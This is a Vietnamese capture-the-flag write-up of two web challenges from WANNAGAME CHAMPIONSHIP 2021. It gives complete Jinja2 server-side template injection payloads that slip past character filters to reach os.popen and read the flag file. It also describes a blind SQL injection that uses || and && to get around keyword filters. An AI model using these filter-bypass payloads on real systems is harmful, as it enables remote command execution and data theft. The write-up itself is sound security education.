Writeup-CTF
  • CTF events
    • DamCTF-2021
    • N1CTF 2021
    • WANNAGAME CHAMPIONSHIP2021
      • After end
    • DefCamp CTF 21-22
  • Root-me
    • SQL Injection - Filter bypass
    • GraphQL
    • JSON Web Token (JWT) - Public key
    • LDAP injection - Blind
    • Python - Blind SSTI Filters Bypass
    • SQL Injection - Filter bypass
    • SQL Truncation
    • Page 1
    • [Root-me]PHP - Unserialize overflow
  • WebGoat
    • Injection
    • XXE
    • Broken Authentication
      • JWT Token
      • Password reset
    • Sensitive Data Exposure
      • Insecure login
    • Broken Access Control
      • Insecure Direct Object References
    • Cross Site Scripting (XSS)
    • Cross site request forgery
      • Cross-Site Request Forgeries
      • Server-Side Request Forgery
    • Client site
      • Client site filtering
      • Bypass front-end restrictions
      • HTML tampering
    • Insecure Deserialization
    • Vulnerable Components
    • Challenges
      • Admin lost password
      • Without password
      • Without account
Powered by GitBook
On this page
  • D3coder
  • SQL MAXTER
  1. CTF events

WANNAGAME CHAMPIONSHIP2021

PreviousN1CTF 2021NextAfter end

Last updated 3 years ago

D3coder

Type: SSTI

Ở bài này cơ bản trang web sẽ có hai tính năng chính là thực hiện encode và decode base64:

SSTI xảy ra ở phần decode

Sau vài lần thử thì mình phát hiện ra có rất nhiều kí tự và chữ bị filter.

Mình sẽ liệt kê lại một số kí tự theo những gì mình nhớ: +, -, *, /, _, lipsum, request, p, khoảng trắng…

Ngoài ra các kí tự như ., [, không được dùng quá một lần. Okay, công việc chúng ta cần làm là tìm ra một payload thích hợp sao cho có thể né hết những kí tự bị tác giả filter.

Đầu tiên không thể dùng nhiều hơn 1 kí tự ., [,… thì chúng ta có thể sử dụng |attr để thay thế. Từ đây chúng ta có thể list class bằng payload:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()}}

Tìm được vị trí của os._wrap_close là 132:

Chúng ta có thể sử dụng hàm getitem() để gọi tới os._wrap_close, nhưng có một vấn đề là chữ “g” đã bị filter. Chúng ta sẽ giải quyết vấn đề này bằng cách thay thế chữ g thành \x67:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__\x67etitem__')(132)}}

Đến đây, hầu hết các khó khăn đều đã được giải quyết, payload hoàn chỉnh sẽ là:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__\x67etitem__')(132)|attr('__init__')|attr('__\x67lobals__')|attr('__\x67etitem__')('__builtins__')|attr('__\x67etitem__')('__import__')('os')|attr('popen')('ls')|attr('read')()}}

Thực hiện cat file flag, nhưng như mình cũng đã nói ở trên, khoảng trắng đã bị filter nên chúng ta cần thay thể khoảng trắng bằng ${IFS}.

Final payload to get flag:

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__\x67etitem__')(132)|attr('__init__')|attr('__\x67lobals__')|attr('__\x67etitem__')('__builtins__')|attr('__\x67etitem__')('__import__')('os')|attr('popen')('cat${IFS}fla\x67')|attr('read')()}}

Flag: Wanna.One{we_wish_u_a_merry_ch1rsmas:3}

SQL MAXTER

Type: SQLI

Vào getmission.phps để xem source code:

Sau khi test một vài lần thì mình thấy một vài kí tự cần thiết bị tác giả filter: and, or, select, sleep, benchmark,…

Trong mysql, chúng ta hoàn toàn có thể sử dụng || để thay cho or và && để thay cho and.

Đến đây thì bài này trở thành một bài blind sqli đơn giản. Khi thực hiện câu query cho ra kết quả một dòng, nếu mission nhập đúng thì sẽ in ra flag, ngược lại sẽ in ra dòng chữ “Mission failed”. Ngược lại nếu câu query cho ra kết quả khác một dòng thì sẽ in ra dòng chữ “Mission failed!!!”. Chúng ta sẽ lợi dụng sự khác nhau giữa “Misstion failed” và “Mission failed!!!” để thực hiện blind lấy misson.

Code tìm mission:

Kết quả:

Flag: Wanna.One{U_1s_r3al_h4ck3rxD:))}